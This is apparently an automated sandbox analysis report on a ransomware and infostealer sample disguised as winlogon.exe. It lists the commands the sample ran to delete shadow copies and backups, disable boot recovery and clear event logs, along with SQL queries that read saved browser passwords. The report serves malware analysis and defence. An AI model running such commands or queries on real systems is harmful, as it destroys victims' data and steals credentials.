Source: winlogon.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: winlogon.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: winlogon.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: winlogon.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: winlogon.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: winlogon.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

PE file contains a debug data directory

Show sources

Source: winlogon.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Show sources

Source:	Binary string: KERBEROS.pdb source: ucngw.exe
Source:	Binary string: msv1_0.pdb source: ucngw.exe
Source:	Binary string: lsasrv.pdb source: ucngw.exe

PE file contains a valid data directory to section mapping

Show sources

Source: winlogon.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: winlogon.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: winlogon.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: winlogon.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: winlogon.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Binary contains device paths (device paths are often used for kernel mode <-> user mode communication)

Show sources

Source: _wjg.exe.1.dr	Binary string: Sysinternals RocksRtlNtStatusToDosErrorntdll.dllRtlInitUnicodeStringNtOpenFileNtFsControlFile\Device\Srv2\Device\LanmanServerSeTcbPrivilege"%s" %sNetIsServiceAccountnetapi32.dll_SA_{262E99C9-6160-4871-ACEC-4E61736B6F21}NT AUTHORITYNT SERVICECreateRestrictedTokenwinsta0Winlogondefaultwinsta0\winlogonwinsta0\defaultWow64DisableWow64FsRedirectionKernel32.dll%s.exefailed to readsecure: %d
Source: _wjg.exe.1.dr	Binary string: Sysinternals RocksRtlNtStatusToDosErrorntdll.dllRtlInitUnicodeStringNtOpenFileNtFsControlFile\Device\LanmanRedirector\%s\ipc$Use PsKill to terminate the remotely running program.

Classification label

Show sources

Source: classification engine

Classification label: mal100.evad.spre.rans.spyw.troj.winEXE@34/9@31/10

Contains functionality to adjust token privileges (e.g. debug / backup)

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D62B90 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetTokenInformation,LookupPrivilegeNameW,AdjustTokenPrivileges,CloseHandle,	1_2_00D62B90
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_013335E0 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetTokenInformation,LookupPrivilegeNameW,AdjustTokenPrivileges,CloseHandle,	2_2_013335E0
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C61A30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetTokenInformation,LookupPrivilegeNameW,AdjustTokenPrivileges,CloseHandle,	3_2_00C61A30
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Code function: 4_2_001416E9 Wow64DisableWow64FsRedirection,LookupPrivilegeValueW,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,Wow64RevertWow64FsRedirection,CreateThread,Sleep,InitiateSystemShutdownExW,ExitProcess,	4_2_001416E9

Contains functionality to instantiate COM classes

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Code function: 1_2_00D64C30 CoInitializeEx,CoInitializeSecurity,CredUIParseUserNameW,LocalAlloc,SysAllocString,SysAllocString,SysAllocString,SysAllocString,SysStringLen,SysStringLen,SysStringLen,SysStringLen,CoCreateInstance,SysFreeString,wsprintfW,SysAllocString,SysAllocString,SysAllocString,SysAllocString,CoSetProxyBlanket,CoSetProxyBlanket,SysAllocString,SysAllocString,SysFreeString,VariantClear,SysAllocString,SysAllocString,GetModuleFileNameW,CreateFileW,GetFileSize,SafeArrayCreate,SafeArrayAccessData,ReadFile,SafeArrayUnaccessData,CloseHandle,CloseHandle,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,LocalFree,CoUninitialize,

1_2_00D64C30

Contains functionality to load and extract PE file embedded resources

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Code function: 1_2_00D6AAD0 GetModuleHandleW,FindResourceW,LoadResource,LockResource,SizeofResource,

1_2_00D6AAD0

Contains functionality to modify services (start/stop/modify)

Show sources

Source: C:\Users\user\AppData\Local\Temp\_usm.exe

Code function: 4_2_001412E8 OpenSCManagerW,EnumServicesStatusW,EnumServicesStatusW,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,EnumServicesStatusW,QueryServiceConfigW,OpenServiceW,QueryServiceConfigW,GetProcessHeap,HeapAlloc,ChangeServiceConfigW,QueryServiceConfigW,PathRemoveArgsW,GetProcessHeap,HeapFree,GetLastError,CloseServiceHandle,GetProcessHeap,HeapFree,CloseServiceHandle,

4_2_001412E8

Creates files inside the user directory

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

File created: C:\Users\Public\A9E5CC701A2E98F9114060D6645A7A5B

Creates temporary files

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

File created: C:\Users\HERBBL~1\AppData\Local\Temp\yegus.exe

Might use command line arguments

Show sources

Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Command line argument: <NULL>	2_2_013338C0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Command line argument: <NULL>	2_2_013338C0
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Command line argument: <NULL>	3_2_00C61EC0
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Command line argument: <NULL>	3_2_00C61EC0
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Command line argument: wbadmin.exe	4_2_001416E9
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Command line argument: bcdedit.exe	4_2_001416E9
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Command line argument: wevtutil.exe	4_2_001416E9

PE file has an executable .text section and no other executable section

Show sources

Source: winlogon.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads ini files

Show sources

Source: C:\Users\user\AppData\Local\Temp\yegus.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Reads software policies

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

SQL strings found in memory and binary data

Show sources

Source: yegus.exe	Binary or memory string: SELECT origin_url, username_value, password_value FROM logins;`R
Source: yegus.exe	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: yegus.exe	Binary or memory string: SELECT origin_url, username_value, password_value FROM logins;
Source: yegus.exe	Binary or memory string: SELECT formSubmitURL, encryptedUsername, encryptedPassword FROM moz_logins;
Source: yegus.exe	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: yegus.exe	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: yegus.exe	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;

Sample is known by Antivirus (Virustotal or Metascan)

Show sources

Source: winlogon.exe

Virustotal: hash found

Spawns processes

Show sources

Source: unknown	Process created: C:\Users\user\Desktop\winlogon.exe 'C:\Users\user\Desktop\winlogon.exe'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\yegus.exe 123 \\.\pipe\122B85FE-84BD-45AB-AEE5-28D37FB4C464
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ucngw.exe 123 \\.\pipe\33F83B68-FC3D-4C1F-B4AE-1329770D367B
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\_usm.exe C:\Users\HERBBL~1\AppData\Local\Temp\_usm.exe
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: unknown	Process created: C:\Windows\System32\vssadmin.exe c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wbadmin.exe delete catalog -quiet
Source: unknown	Process created: C:\Windows\System32\wbadmin.exe wbadmin.exe delete catalog -quiet
Source: unknown	Process created: C:\Windows\System32\wbengine.exe C:\Windows\system32\wbengine.exe
Source: unknown	Process created: C:\Windows\System32\vdsldr.exe C:\Windows\System32\vdsldr.exe -Embedding
Source: unknown	Process created: C:\Windows\System32\vds.exe C:\Windows\System32\vds.exe
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: unknown	Process created: C:\Windows\System32\bcdedit.exe bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
Source: unknown	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wevtutil.exe cl System
Source: unknown	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl System
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wevtutil.exe cl Security
Source: unknown	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl Security
Source: unknown	Process created: C:\Windows\System32\LogonUI.exe 'LogonUI.exe' /flags:0x0
Source: unknown	Process created: C:\Windows\System32\LogonUI.exe unknown
Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Users\user\AppData\Local\Temp\yegus.exe 123 \\.\pipe\122B85FE-84BD-45AB-AEE5-28D37FB4C464
Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Users\user\AppData\Local\Temp\ucngw.exe 123 \\.\pipe\33F83B68-FC3D-4C1F-B4AE-1329770D367B
Source: C:\Users\user\Desktop\winlogon.exe	Process created: C:\Users\user\AppData\Local\Temp\_usm.exe C:\Users\HERBBL~1\AppData\Local\Temp\_usm.exe
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wbadmin.exe delete catalog -quiet
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wevtutil.exe cl System
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wevtutil.exe cl Security
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin.exe delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl System
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl Security

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

PE file has section (not .text) which is very likely to contain packed code (zlib compression ratio < 0.011)

Show sources

Source: winlogon.exe	Static PE information: Section: .rsrc ZLIB complexity 1.00009145872
Source: yegus.exe.1.dr	Static PE information: Section: .rsrc ZLIB complexity 0.999364306084
Source: ucngw.exe.1.dr	Static PE information: Section: .rsrc ZLIB complexity 0.995655293367
Source: _yig.exe.1.dr	Static PE information: Section: .rsrc ZLIB complexity 1.00009145872

Contains functionality to call native functions

Show sources

Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_100147C0 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,LocalFree,	3_2_100147C0
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_10013CB0 LoadLibraryW,GetModuleHandleW,NtQueryInformationProcess,	3_2_10013CB0
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_100145E0 GetCurrentProcess,NtQueryInformationProcess,RtlGetCurrentPeb,	3_2_100145E0

Creates files inside the system directory

Show sources

Source: C:\Windows\System32\wbadmin.exe

File created: C:\Windows\Logs\WindowsBackup

Detected potential crypto function

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D7989E	1_2_00D7989E
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D793F0	1_2_00D793F0
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D6F6CE	1_2_00D6F6CE
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D7CF3F	1_2_00D7CF3F
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D61110	1_2_00D61110
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D69330	1_2_00D69330
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D61870	1_2_00D61870
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D68EE0	1_2_00D68EE0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_01331370	2_2_01331370
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_0133E8FF	2_2_0133E8FF
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_013315E0	2_2_013315E0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_013310A0	2_2_013310A0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_01332B70	2_2_01332B70
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_013332D0	2_2_013332D0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10064140	2_2_10064140
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_100196A0	2_2_100196A0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10029130	2_2_10029130
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_1003C880	2_2_1003C880
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10053C80	2_2_10053C80
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10065870	2_2_10065870
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_100804F0	2_2_100804F0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10027050	2_2_10027050
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10006022	2_2_10006022
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10007870	2_2_10007870
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10005C30	2_2_10005C30
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_1006F810	2_2_1006F810
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10036CD0	2_2_10036CD0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_1003B6A0	2_2_1003B6A0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10008D50	2_2_10008D50
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10079459	2_2_10079459
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10022AD0	2_2_10022AD0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10078060	2_2_10078060
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10017050	2_2_10017050
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10002200	2_2_10002200
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_1002DD28	2_2_1002DD28
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10074780	2_2_10074780
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10021F80	2_2_10021F80
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_1001EBB0	2_2_1001EBB0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_1001CFF0	2_2_1001CFF0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_1008DE01	2_2_1008DE01
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_100722E0	2_2_100722E0
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C5FC90	3_2_00C5FC90
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C60F40	3_2_00C60F40
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C5D39F	3_2_00C5D39F
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C5FD20	3_2_00C5FD20
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C61150	3_2_00C61150
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C5F3F0	3_2_00C5F3F0
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C5F6A0	3_2_00C5F6A0
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_10004950	3_2_10004950
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_100039B3	3_2_100039B3
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_1000F898	3_2_1000F898
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_10003C10	3_2_10003C10
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_1000B61E	3_2_1000B61E

Enables security privileges

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Process token adjusted: Security

Found potential string decryption / allocating functions

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	Code function: String function: 00D6B650 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: String function: 100071E0 appears 59 times
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: String function: 10024C30 appears 105 times
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: String function: 10007480 appears 193 times
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: String function: 10008070 appears 167 times
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: String function: 00C51CA0 appears 32 times

PE file contains executable resources (Code or Archives)

Show sources

Source: _wjg.exe.1.dr

Static PE information: Resource name: BINRES type: PE32 executable (console) Intel 80386, for MS Windows

Reads the hosts file

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\winlogon.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\winlogon.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\winlogon.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\winlogon.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\winlogon.exe	File read: C:\Windows\System32\drivers\etc\hosts

Sample file is different than original file name gathered from version info

Show sources

Source: winlogon.exe	Binary or memory string: OriginalFilenamepsexec.cH vs winlogon.exe
Source: winlogon.exe	Binary or memory string: OriginalFilenamepsexesvc.exeH vs winlogon.exe

Sample reads its own file content

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

File read: C:\Users\user\Desktop\winlogon.exe

Tries to load missing DLLs

Show sources

Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll

HIPS / PFW / Operating System Protection Evasion:

Contains functionality to execute programs as a different user

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Code function: 1_2_00D63920 LogonUserA,GetLastError,DeleteCriticalSection,

1_2_00D63920

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Code function: 1_2_00D65DD0 ExitProcess,Sleep,DeleteFileW,GetFileSize,WriteFile,GetFileAttributesW,CreateFileW,CloseHandle,GetModuleHandleW,GetModuleFileNameW,GetWindowsDirectoryW,CreateProcessW,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,TerminateProcess,CloseHandle,

1_2_00D65DD0

Contains functionality to inject threads in other processes

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

1_2_00D65DD0

Anti Debugging:

Contains functionality to register its own exception handler

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D6B598 SetUnhandledExceptionFilter,	1_2_00D6B598
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D6AE70 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00D6AE70
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D6B406 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00D6B406
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D7009F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00D7009F
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_013347F1 SetUnhandledExceptionFilter,	2_2_013347F1
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_013346A3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_013346A3
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_013340FB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_013340FB
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_013372DB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_013372DB
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_100827CB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_100827CB
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_1008657C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_1008657C
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10083265 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_10083265
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C51BE9 SetUnhandledExceptionFilter,	3_2_00C51BE9
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C54CBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00C54CBD
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C514CB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00C514CB
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C51A54 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00C51A54
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_10001795 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_10001795
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_1000662D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_1000662D
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_10001B37 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_10001B37
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Code function: 4_2_001417EA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_001417EA
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Code function: 4_2_0014333B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0014333B

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

System information queried: KernelDebuggerInformation

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Code function: 1_2_00D6B406 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00D6B406

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Code function: 1_2_00D643A0 GetVersionExW,LoadLibraryW,GetProcAddress,SHGetKnownFolderPath,

1_2_00D643A0

Contains functionality to read the PEB

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D70D28 mov eax, dword ptr fs:[00000030h]	1_2_00D70D28
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_01337F59 mov eax, dword ptr fs:[00000030h]	2_2_01337F59
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10085756 mov eax, dword ptr fs:[00000030h]	2_2_10085756
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C558EB mov eax, dword ptr fs:[00000030h]	3_2_00C558EB
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_100051BB mov eax, dword ptr fs:[00000030h]	3_2_100051BB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Code function: 1_2_00D6A6F0 GetProcessHeap,RtlAllocateHeap,

1_2_00D6A6F0

Enables debug privileges

Show sources

Source: C:\Users\user\AppData\Local\Temp\ucngw.exe

Process token adjusted: Debug

Malware Analysis System Evasion:

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D75F8F FindFirstFileExW,	1_2_00D75F8F
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_01339A82 FindFirstFileExW,	2_2_01339A82
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10088620 FindFirstFileExA,	2_2_10088620
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C5850A FindFirstFileExW,	3_2_00C5850A
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_10008EEC FindFirstFileExA,	3_2_10008EEC
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Code function: 4_2_00141441 wsprintfW,FindFirstFileW,GetProcessHeap,PathAppendW,GetProcessHeap,HeapAlloc,PathAppendW,PathAppendW,StrCmpCW,StrCmpCW,StrCmpCW,CreateFileW,GetFileSizeEx,CloseHandle,GetProcessHeap,HeapFree,FindNextFileW,FindClose,	4_2_00141441

Contains functionality to query system information

Show sources

Source: C:\Users\user\AppData\Local\Temp\yegus.exe

Code function: 2_2_1000D3F0 GetSystemInfo,

2_2_1000D3F0

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Show sources

Source: wbadmin.exe	Binary or memory string: Cluster service, and Hyper-V for more information.
Source: wbadmin.exe	Binary or memory string: An error occurred while preparing to back up Hyper-V data.

Program exit points

Show sources

Source: C:\Users\user\AppData\Local\Temp\_usm.exe

API call chain: ExitProcess graph end node

Queries a list of all running processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\ucngw.exe

Process information queried: ProcessInformation

